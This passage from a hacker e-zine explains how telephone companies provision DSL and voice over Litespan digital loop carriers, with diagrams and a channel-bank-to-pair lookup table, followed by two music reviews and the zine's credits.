possible. The Litespan is a sort of generic rackmount cabinet that houses
a number of appropriate cards specialized for each service being offered
out of the terminal. Card types are specialized to POTS, ISDN, and ADLU
(which can carry DSL and/or voice and cost significantly more than the
other types), and generally carry four lines per card. These units are
being used to replace traditional copper and Pair Gain (PG) paths to the
customer premises. Even non-DSL, voice-only traffic will eventually be
carried by this distribution method.
The diagram below illustrates the basic layout designed for use with
DSL. The Central Office Terminal (COT) Litespan connects via OC03 to an
RT Litespan in the field. The RT serves copper to voice, data, and line
share customers within its 12Kft service area. Cross connections are no
longer entered manually by technicians in the field, but are provisioned
electronically by a database system that erects logical 'opticals' between
the corresponding cards in the COT and RT, respectively. These
assignments can be changed remotely among 'pairs' allocated to each RT
without sending a technician into the field.
.--------------------------------------------------------------------.
| |
| .------------------------------------. |
| | | |
| | (Area served by COT1 ---|--- RTE1 |
| | CO DSLAMs | |
| | <12Kft) | |
| | COT2 ---|--- RTE1 --- RTE2 |
| | | | |
| | | | (Area served by |
| '------------------------------|-----' Remote Terminals |
| | >12Kft) |
| RTE3 |
| |
'--------------------------------------------------------------------'
The DLE path between the CO and the Subscriber looks something like this:
DLE Environment
Sub. ----------------- Sub.
|
Sub. --------|-------- Sub.
|
|
(OC03) |
COT ============ RT ------- X-Box --------- Serving
(F1) (F2) Terminal
Notice the shift in the position of the F1 and F2 pairs. Assignment
data in LFACS looks a bit different for DLE than it does for old-style CA
and PG cable pairs; much to the confusion of many telco employees in the
LAC who can't seem to get the hang of "all this new stuff."
_/ The Cable Pairs Are All in Your Head
So 'pairs' look different with DLE. Just remember that a 'pair' for
DLE is actually a reference to a logical assignment within the OC03.
Coming out of the Remote Terminal, a familiar copper line will run up
to the Subscriber's home and into their DSL voice/data splitter, or
straight into their voice-only demarcation point. For DSL subscribers,
traffic will travel between the RT and their home in the standard ANSI
format:
The ADSL Standard -- Discreet Multitone (DMT)
ANSI T1.413 compliant
- Voice and data on one copper pair -- separated by splitters
- Bandwidth is adjustable in 32Kbps increments
- Maximum bandwidth: 800Kbps upstream, 8MBps downstream
A | POTS UPSTREAM DOWNSTREAM
m | ___ ________ __________________
p | .' '. .' '. .' '.
l | | | | | | |
i | .' '. .' '. .' '.
t | | | | | | |
u |.' '. .' '. .' '.
d || | | | | |
e |' '. .' '. .' '.
'-------------------------------------------------------------------
0 4 0 134 181 1100
FREQUENCY (kHz)
But what about before it gets to the RT?
Back at the CO, the voice portion of the line comes off the voice
switch and is processed through the Central Office Terminal (COT) (a
Litespan unit just like the RTs in the field), which bundles each voice
channel into the OC03 that feeds the RT. Data travels from/to the ISP
through the Optical Concentration Device (OCD) and arrives at the RT
logically separated from the voice channels. A combiner at the RT puts
the line share onto copper and into your home.
DSL Line Share Network Diagram
ISP
| .----------------------------.
| | |
Router | Voice Switch ----- COT ---|--(Voice)--.
| | | |
| | | |-- RT -- X-box
ATM | Optical | | |
Network ---|-- Concentration -----------|--(Data)---' |
| Device (OCD) | |
| | Sub.
| |
| (Central Office) |
| |
'----------------------------'
This all leads to a 'pair assignment' in LFACS which corresponds to a
channel bank, slot, and port on the Litespan (COT or RT) itself instead
of an actual copper cable (since it now exists only as a logical label
'inside' the OC03). The chart below can be used to translate a 'pair'
(SWITCH/DLE inventories this assignment as both a 'pair' and a Carrier
Controller Port (CCPT), which actually lists the channel bank/slot
information in a format similar to 'COT-1-1-1'):
Litespan Channel Bank Pair/Slot Layouts
+----------------------------------------------------------------------------+
| | |
| B | P 1 5 9 13 17 21 25 29 33 37 41 45 49 53 57 61 |
| a | A 2 6 10 14 18 22 26 30 34 38 42 46 50 54 58 62 |
| n | I 3 7 11 15 19 23 27 31 35 39 43 47 51 55 59 63 |
| k | R 4 8 12 16 20 24 28 32 36 40 44 48 52 56 60 64 |
| |------------------------------------------------------------------------|
| 1 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 65 69 73 77 81 85 89 93 97 101 105 109 113 117 121 125 |
| a | A 66 70 74 78 82 86 90 94 98 102 106 110 114 118 122 126 |
| n | I 67 71 75 79 83 87 91 95 99 103 107 111 115 119 123 127 |
| k | R 68 72 76 80 84 88 92 96 100 104 108 112 116 120 124 128 |
| |------------------------------------------------------------------------|
| 1 | Slot 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 129 133 137 141 145 149 153 157 161 165 169 173 177 181 185 189 |
| a | A 130 134 138 142 146 150 154 158 162 166 170 174 178 182 186 190 |
| n | I 131 135 139 143 147 151 155 159 163 167 171 175 179 183 187 191 |
| k | R 132 136 140 144 148 152 146 160 164 168 172 176 180 184 188 192 |
| |------------------------------------------------------------------------|
| 1 | Slot 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 193 197 201 205 209 213 217 221 |
| a | A 194 198 202 206 210 214 218 222 |
| n | I 195 199 203 207 211 215 219 223 |
| k | R 196 200 204 208 212 216 220 224 |
| |------------------------------------------------------------------------|
| 1 | Slot 49 50 51 52 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 227 231 235 239 243 247 251 255 259 263 267 271 275 279 283 287 |
| a | A 228 232 236 240 244 248 252 256 260 264 268 272 276 280 284 288 |
| n | I 229 233 237 241 245 249 253 257 261 265 269 273 277 281 285 289 |
| k | R 230 234 238 242 246 250 254 258 262 266 270 274 278 282 286 290 |
| |------------------------------------------------------------------------|
| 2 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 291 295 299 303 307 311 315 319 323 327 331 335 339 343 347 351 |
| a | A 292 296 300 304 308 312 316 320 324 328 332 336 340 344 348 352 |
| n | I 293 297 301 305 309 313 317 321 325 329 333 337 341 345 349 353 |
| k | R 294 298 302 306 310 314 318 322 326 330 334 338 342 346 350 354 |
| |------------------------------------------------------------------------|
| 2 | Slot 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 355 359 363 367 371 375 379 383 387 391 395 399 403 407 411 415 |
| a | A 356 260 364 368 372 376 380 384 388 392 396 400 404 408 412 416 |
| n | I 357 261 365 369 373 377 381 385 389 393 397 401 405 409 413 417 |
| k | R 358 262 366 370 374 378 382 386 390 394 398 402 405 410 414 418 |
| |------------------------------------------------------------------------|
| 2 | Slot 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 419 423 427 431 435 439 443 447 |
| a | A 420 424 428 432 436 440 444 448 |
| n | I 421 425 429 433 437 441 445 449 |
| k | R 422 426 430 434 438 442 446 450 |
| |------------------------------------------------------------------------|
| 2 | Slot 49 50 51 52 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 451 455 459 463 467 471 475 479 483 487 491 495 499 503 507 511 |
| a | A 452 456 460 464 468 472 476 480 484 488 492 496 500 504 508 512 |
| n | I 453 457 461 465 469 473 477 481 485 489 493 497 501 505 509 513 |
| k | R 454 458 462 466 470 474 478 482 486 490 494 498 502 506 510 514 |
| |------------------------------------------------------------------------|
| 3 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 515 519 523 527 531 535 539 543 547 551 555 559 563 567 571 575 |
| a | A 516 520 524 528 532 536 540 544 548 552 556 560 564 568 572 576 |
| n | I 517 521 525 529 533 537 541 545 549 553 557 561 565 569 573 577 |
| k | R 518 522 526 530 534 538 542 546 550 554 558 562 566 570 574 578 |
| |------------------------------------------------------------------------|
| 3 | Slot 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 579 583 587 591 595 599 603 607 611 615 619 623 627 631 635 639 |
| a | A 580 584 588 592 596 600 604 608 612 616 620 624 628 632 636 640 |
| n | I 581 585 589 593 597 601 605 609 613 617 621 625 629 633 637 641 |
| k | R 582 586 590 594 598 602 696 610 614 618 622 626 630 634 638 642 |
| |------------------------------------------------------------------------|
| 3 | Slot 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 643 647 651 655 659 663 667 671 |
| a | A 644 648 652 656 660 664 668 672 |
| n | I 645 649 653 657 661 665 669 673 |
| k | R 646 650 654 658 662 666 670 674 |
| |------------------------------------------------------------------------|
| 3 | Slot 49 50 51 52 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 677 681 685 689 693 697 701 705 709 713 717 721 725 729 733 737 |
| a | A 678 682 686 690 694 698 702 706 710 714 718 722 726 730 734 738 |
| n | I 679 683 687 691 695 699 703 707 711 715 719 723 727 731 735 739 |
| k | R 680 684 688 692 696 700 704 708 712 716 720 724 728 732 736 740 |
| |------------------------------------------------------------------------|
| 4 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 741 745 749 753 757 761 765 769 773 777 781 785 789 793 797 801 |
| a | A 742 746 750 754 758 762 766 770 774 778 782 786 790 794 798 802 |
| n | I 743 747 751 755 759 763 767 771 775 779 783 787 791 795 799 803 |
| k | R 744 748 752 756 760 764 768 772 776 780 784 788 792 796 800 804 |
| |------------------------------------------------------------------------|
| 4 | Slot 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 805 809 813 817 821 825 829 833 837 841 845 849 853 857 861 865 |
| a | A 806 810 814 818 822 826 830 834 838 842 846 850 854 858 862 866 |
| n | I 807 811 815 819 823 827 831 835 839 843 847 851 855 859 863 867 |
| k | R 808 812 816 820 824 828 832 836 840 844 848 852 856 860 864 868 |
| |------------------------------------------------------------------------|
| 4 | Slot 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 869 873 877 881 885 889 893 897 |
| a | A 870 874 878 882 886 890 894 898 |
| n | I 871 875 879 883 887 891 895 899 |
| k | R 872 876 880 884 888 892 896 900 |
| |------------------------------------------------------------------------|
| 4 | Slot 49 50 51 52 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 901 905 909 913 917 921 925 929 933 937 941 945 949 953 957 961 |
| a | A 902 906 910 914 918 922 926 930 934 938 942 946 950 954 958 962 |
| n | I 903 907 911 915 919 923 927 931 935 939 943 947 951 955 959 963 |
| k | R 904 908 912 916 920 924 928 932 936 940 944 948 952 956 960 964 |
| |------------------------------------------------------------------------|
| 5 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 965 969 973 977 981 985 989 993 997 1001 1005 1009 1013 |
| a | A 966 970 974 978 982 986 990 994 998 1002 1006 1010 1014 |
| n | I 967 971 975 979 983 987 991 995 999 1003 1007 1011 1015 |
| k | R 968 972 976 980 984 988 992 996 1000 1004 1008 1012 1016 |
| |------------------------------------------------------------------------|
| 5 | Slot 17 18 19 20 21 22 23 24 25 26 27 28 29 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1017 1021 1025 1029 1033 1037 1041 1045 1049 1053 1057 1061 1065 |
| a | A 1018 1022 1026 1030 1034 1038 1042 1046 1050 1054 1058 1062 1066 |
| n | I 1019 1023 1027 1031 1035 1039 1043 1047 1051 1055 1059 1063 1067 |
| k | R 1020 1024 1028 1032 1036 1040 1044 1048 1052 1056 1060 1064 1068 |
| |------------------------------------------------------------------------|
| 5 | Slot 30 31 32 33 34 35 36 37 38 39 40 41 42 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1069 1073 1077 1081 1085 1089 1093 1097 1101 1105 1109 1113 1117 |
| a | A 1070 1074 1078 1082 1086 1090 1094 1098 1102 1106 1110 1114 1118 |
| n | I 1071 1075 1079 1083 1087 1091 1095 1099 1103 1107 1111 1115 1119 |
| k | R 1072 1076 1080 1084 1088 1092 1096 1100 1104 1108 1112 1116 1120 |
| |------------------------------------------------------------------------|
| 5 | Slot 43 44 45 46 47 48 49 50 51 52 53 54 55 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1121 |
| a | A 1122 |
| n | I 1123 |
| k | R 1124 |
| |------------------------------------------------------------------------|
| 5 | Slot 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 1127 1131 1135 1139 1143 1147 1151 1155 1159 1163 1167 1171 1175 |
| a | A 1128 1132 1136 1140 1144 1148 1152 1156 1160 1164 1168 1172 1176 |
| n | I 1129 1133 1137 1141 1145 1149 1153 1157 1161 1165 1169 1173 1177 |
| k | R 1130 1134 1138 1142 1146 1150 1154 1158 1162 1166 1170 1174 1178 |
| |------------------------------------------------------------------------|
| 6 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1179 1183 1187 1191 1195 1199 1203 1207 1211 1215 1219 1223 1227 |
| a | A 1180 1184 1188 1192 1196 1200 1204 1208 1212 1216 1220 1224 1228 |
| n | I 1181 1185 1189 1193 1197 1201 1205 1209 1213 1217 1221 1225 1229 |
| k | R 1182 1186 1190 1194 1198 1202 1206 1210 1214 1218 1222 1229 1230 |
| |------------------------------------------------------------------------|
| 6 | Slot 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1231 1235 1239 1243 1247 1251 1255 1259 1263 1267 1271 1275 1279 |
| a | A 1232 1236 1240 1244 1248 1252 1256 1260 1264 1268 1272 1276 1280 |
| n | I 1233 1237 1241 1245 1249 1253 1257 1261 1265 1269 1273 1277 1281 |
| k | R 1254 1238 1242 1256 1250 1254 1258 1262 1266 1270 1274 1278 1282 |
| |------------------------------------------------------------------------|
| 6 | Slot 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1283 1287 1291 1295 1299 1303 1307 1311 1315 1319 1323 1327 1331 |
| a | A 1284 1288 1292 1296 1300 1304 1308 1312 1316 1320 1324 1328 1332 |
| n | I 1285 1289 1293 1297 1301 1305 1309 1313 1317 1321 1325 1329 1333 |
| k | R 1286 1290 1294 1298 1302 1306 1310 1314 1318 1322 1326 1330 1334 |
| |------------------------------------------------------------------------|
| 6 | Slot 40 41 42 43 44 45 46 47 48 49 50 51 52 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1335 1339 1343 1347 |
| a | A 1336 1340 1344 1348 |
| n | I 1337 1341 1345 1349 |
| k | R 1338 1342 1346 1350 |
| |------------------------------------------------------------------------|
| 6 | Slot 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 1351 1355 1359 1363 1367 1371 1375 1379 1383 1387 1391 1395 1399 |
| a | A 1352 1356 1360 1364 1368 1672 1376 1380 1384 1388 1392 1396 1400 |
| n | I 1353 1357 1361 1365 1369 1373 1377 1381 1385 1389 1393 1397 1401 |
| k | R 1354 1358 1362 1366 1370 1374 1378 1382 1356 1390 1394 1398 1402 |
| |------------------------------------------------------------------------|
| 7 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1403 1407 1411 1415 1419 1423 1427 1431 1435 1439 1443 1447 1451 |
| a | A 1404 1408 1412 1416 1420 1424 1428 1432 1436 1440 1444 1448 1452 |
| n | I 1405 1409 1413 1417 1421 1425 1429 1433 1437 1441 1445 1449 1453 |
| k | R 1406 1410 1414 1418 1422 1426 1430 1434 1438 1442 1446 1450 1454 |
| |------------------------------------------------------------------------|
| 7 | Slot 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1455 1459 1463 1467 1471 1475 1479 1483 1487 1491 1495 1499 1503 |
| a | A 1456 1460 1464 1468 1472 1476 1480 1484 1488 1492 1496 1500 1504 |
| n | I 1457 1461 1465 1469 1473 1477 1481 1485 1489 1493 1497 1501 1505 |
| k | R 1458 1462 1466 1470 1474 1478 1482 1486 1490 1494 1498 1502 1506 |
| |------------------------------------------------------------------------|
| 7 | Slot 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1507 1511 1515 1519 1523 1527 1531 1535 1539 1543 1547 1551 1555 |
| a | A 1508 1512 1516 1520 1524 1528 1532 1536 1540 1544 1548 1552 1556 |
| n | I 1509 1513 1517 1521 1525 1529 1533 1537 1541 1545 1549 1553 1557 |
| k | R 1510 1514 1518 1522 1526 1530 1534 1538 1542 1546 1550 1554 1558 |
| |------------------------------------------------------------------------|
| 7 | Slot 40 41 42 43 44 45 46 47 48 49 50 51 52 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1559 1563 1567 1571 |
| a | A 1560 1564 1568 1572 |
| n | I 1561 1565 1569 1573 |
| k | R 1562 1566 1570 1574 |
| |------------------------------------------------------------------------|
| 7 | Slot 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 1577 1581 1585 1589 1593 1597 1601 1605 1609 1613 1617 1621 1625 |
| a | A 1578 1582 1586 1590 1594 1598 1602 1606 1610 1614 1618 1622 1626 |
| n | I 1579 1583 1587 1591 1595 1599 1603 1607 1611 1615 1619 1623 1627 |
| k | R 1580 1584 1588 1592 1596 1600 1604 1608 1612 1616 1620 1624 1628 |
| |------------------------------------------------------------------------|
| 8 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1629 1633 1637 1641 1645 1649 1653 1657 1661 1665 1669 1673 1677 |
| a | A 1630 1634 1638 1642 1646 1650 1654 1658 1662 1666 1670 1674 1678 |
| n | I 1631 1635 1639 1643 1647 1651 1655 1659 1663 1667 1671 1675 1679 |
| k | R 1632 1636 1640 1644 1648 1652 1656 1660 1664 1668 1672 1676 1680 |
| |------------------------------------------------------------------------|
| 8 | Slot 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1681 1685 1689 1693 1697 1701 1705 1709 1713 1717 1721 1725 1729 |
| a | A 1682 1686 1690 1694 1698 1702 1706 1710 1714 1718 1722 1726 1730 |
| n | I 1683 1687 1691 1695 1699 1703 1707 1711 1715 1719 1723 1727 1731 |
| k | R 1684 1688 1692 1696 1700 1704 1708 1712 1716 1720 1724 1728 1732 |
| |------------------------------------------------------------------------|
| 8 | Slot 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1733 1737 1741 1745 1749 1753 1757 1761 1765 1769 1773 1777 1781 |
| a | A 1734 1738 1742 1746 1750 1754 1758 1762 1766 1770 1774 1778 1782 |
| n | I 1735 1739 1743 1747 1751 1755 1759 1763 1767 1771 1775 1779 1783 |
| k | R 1736 1740 1744 1748 1752 1756 1760 1764 1768 1772 1776 1780 1784 |
| |------------------------------------------------------------------------|
| 8 | Slot 40 41 42 43 44 45 46 47 48 49 50 51 52 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1785 1789 1793 1797 |
| a | A 1786 1790 1794 1798 |
| n | I 1787 1791 1795 1799 |
| k | R 1788 1792 1796 1800 |
| |------------------------------------------------------------------------|
| 8 | Slot 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
+----------------------------------------------------------------------------+
| | |
| B | P 1801 1805 1809 1813 1817 1821 1825 1829 1833 1837 1841 1845 1849 |
| a | A 1802 1806 1810 1814 1818 1822 1826 1830 1834 1838 1842 1846 1850 |
| n | I 1803 1807 1811 1815 1819 1823 1827 1831 1835 1839 1843 1847 1851 |
| k | R 1804 1808 1812 1816 1820 1824 1828 1832 1836 1840 1844 1848 1852 |
| |------------------------------------------------------------------------|
| 9 | Slot 1 2 3 4 5 6 7 8 9 10 11 12 13 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1853 1857 1861 1865 1869 1873 1877 1881 1885 1889 1893 1897 1901 |
| a | A 1854 1858 1862 1866 1870 1874 1878 1882 1886 1890 1894 1898 1902 |
| n | I 1855 1859 1863 1867 1871 1875 1879 1883 1887 1891 1895 1899 1903 |
| k | R 1856 1860 1864 1868 1872 1876 1880 1884 1888 1892 1896 1900 1904 |
| |------------------------------------------------------------------------|
| 9 | Slot 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1905 1909 1913 1917 1921 1925 1929 1933 1937 1941 1945 1949 1953 |
| a | A 1906 1910 1914 1918 1922 1926 1930 1934 1938 1942 1946 1950 1954 |
| n | I 1907 1911 1915 1919 1923 1927 1931 1935 1939 1943 1947 1951 1955 |
| k | R 1908 1912 1916 1920 1924 1928 1932 1936 1940 1944 1948 1952 1956 |
| |------------------------------------------------------------------------|
| 9 | Slot 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 1957 1961 1965 1969 1973 1977 1981 1985 1989 1993 1997 2001 2005 |
| a | A 1958 1962 1966 1970 1974 1978 1982 1986 1990 1994 1998 2002 2006 |
| n | I 1959 1963 1967 1971 1975 1979 1983 1987 1991 1995 1999 2003 2007 |
| k | R 1960 1964 1968 1972 1976 1980 1984 1988 1992 1996 2000 2004 2008 |
| |------------------------------------------------------------------------|
| 9 | Slot 40 41 42 43 44 45 46 47 48 49 50 51 52 |
|---|------------------------------------------------------------------------|
|---|------------------------------------------------------------------------|
| | |
| B | P 2009 2013 2017 2021 |
| a | A 2010 2014 2018 2022 |
| n | I 2011 2015 2019 2023 |
| k | R 2012 2016 2020 2024 |
| |------------------------------------------------------------------------|
| 9 | Slot 53 54 55 56 |
| | |
+----------------------------------------------------------------------------+
[ Whew! Did all you readers get that? {kynik} ]
"Digital cross connections" create the virtual path between the COT and
RT Litespans. Each working line will thus have four individual CCPT
assignments: One for the COT channel bank, slot, and port; one COT
optical (the OC03 side virtual connection); one RT optical (ditto); and
one for the RT channel bank, slot, and port. This creates the virtual
path that the line travels. When you see a reference to the "pair" of a
DLE line, it will correspond directly to the RT CCPT on the chart above.
_/ Towards Complete Remote Management
The migration to DLE for even non-data customers moves the telcos one
step closer to complete remote management of facilities. Reportedly, some
Central Offices with Integrated (Alternate Channel) OEs are already
running without staff on site. The DLE provisioning model also leads to
less responsibility for the technician in the field. More and more,
hands-on contact with the equipment that provides connectivity to
customers is limited to the initial installation and/or actual hardware
replacement in the case of trouble.
A digital delivery medium also inches us closer to a true packet-
switched voice service. The fiber that is being laid to support this
roll-out of Litespan RTs can be reused in the future as carrier technology
advances. Implementation of future digital technologies may be
accomplished with a minimum of construction work.
The conversion to total DLE is likely to take several years. The
process has already been underway for over a year and is nowhere near
completion in any region. One factor has been the enormous cost of
supporting the DSL-capable cards in the already expensive RTs. ADLU cards
are reportedly ten times as expensive as regular POTS cards; and are not
being rolled out as quickly in areas which aren't already a hotbed for DSL
sales.
However, the copper environment we've been accustomed to for so long
cannot survive for long in this world of broadband madness and hi-tech
keeping up with the Joneses. The slings and arrows of competition have
already found sizeable chinks in the armor of the Bell system; and may yet
fell the slumbering giant.
No reason not to inspect the corpse.
_/ Caveats
As always, this information may not be used with some RBOCs. YMMV.
_/ Further Reading
Copper Loop Management in a Digital Environment: Migration from an
Analog to a Digital Local-Loop Network
[ http://www.iec.org/online/tutorials/copper/index.html ]
Digital Loop Carrier (DLC)
[ http://www.iec.org/online/tutorials/dlc/index.html ]
_/ "Will Blue Boxing Still Work?"
Shut up.
.-------------------------------------------------------------------.
| |
| _azure |
| |
`-------------------------------------------------------------------'
____________________________
--------------------- - ajax
[=] 0x07: Music Reviews
- The Crystal Method: Tweekend (http://www.thecrystalmethod.com/)
You know these guys. Their first album "Vegas" sold some ungodly number
of copies. They've remixed Garbage, Methods of Mayhem and Keoki. They're
possibly *the* biggest stateside breakbeat act, and with good cause.
"Tweekend", their second LP, is mighty impressive. Where Vegas is spacey,
Tweekend is aggressive. It has a much grittier low end and a more mature
instrumentation. If Vegas was violins, Tweekend is a Gibson SG and a
Marshall stack. I'm a fan, anyway. Guest talent on this album includes
Scott Weiland (of Stone Temple Pilots), Tom Morello (of Rage Against the
Machine), and DJ Swamp (Beck's DJ, US DMC Champion 1996). There's even a
secret track, a dub mix of "Name of the Game". Ajax says, "this doesn't
suck."
- Apartment 26: Hallucinating (http://www.apartment26.com)
See now... I dunno. This whole new metal thing is tricky, because there's
a lot of utter crap out there. Apt. 26 has done the Ozzfest thing, just
put out an album produced by the same guy that did Powerman 5000 and
Static-X's albums, and... I'm not sure. It's got a very drum 'n' bass
influence, which is interesting in a metal band, and I think I like that.
The record itself sounds like, well, noise, it sounds very poorly
produced. They do have a good amount of range, breakbeat to club to metal
to almost arena rock. I'm thinking this one will grow on me. It does
have definite scare-the-neighbors factor, and they're promising, but I
want to tell them to focus a little, and turn the gain down somewhere.
_________________
-----------------
[=] 0x08: Credits
Editor: Kynik <kynik@firest0rm.org>
Co-Editors: ajax <ajax@firest0rm.org>
Rsquared <rsquared@firest0rm.org>
Article Contributions: _azure <azure@gh0st.net>
echo8 <echo8@firest0rm.org>
To subscribe to this 'zine:
email napalm@firest0rm.org with a subject of SUBSCRIBE
To unsubscribe:
email napalm@firest0rm.org with a subject of UNSUBSCRIBE
Or find us online at:
http://napalm.firest0rm.org/
Submissions, questions, comments, and constructive chaos may also be
directed to kynik@firest0rm.org or any of the contributors
.n12! - eof
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed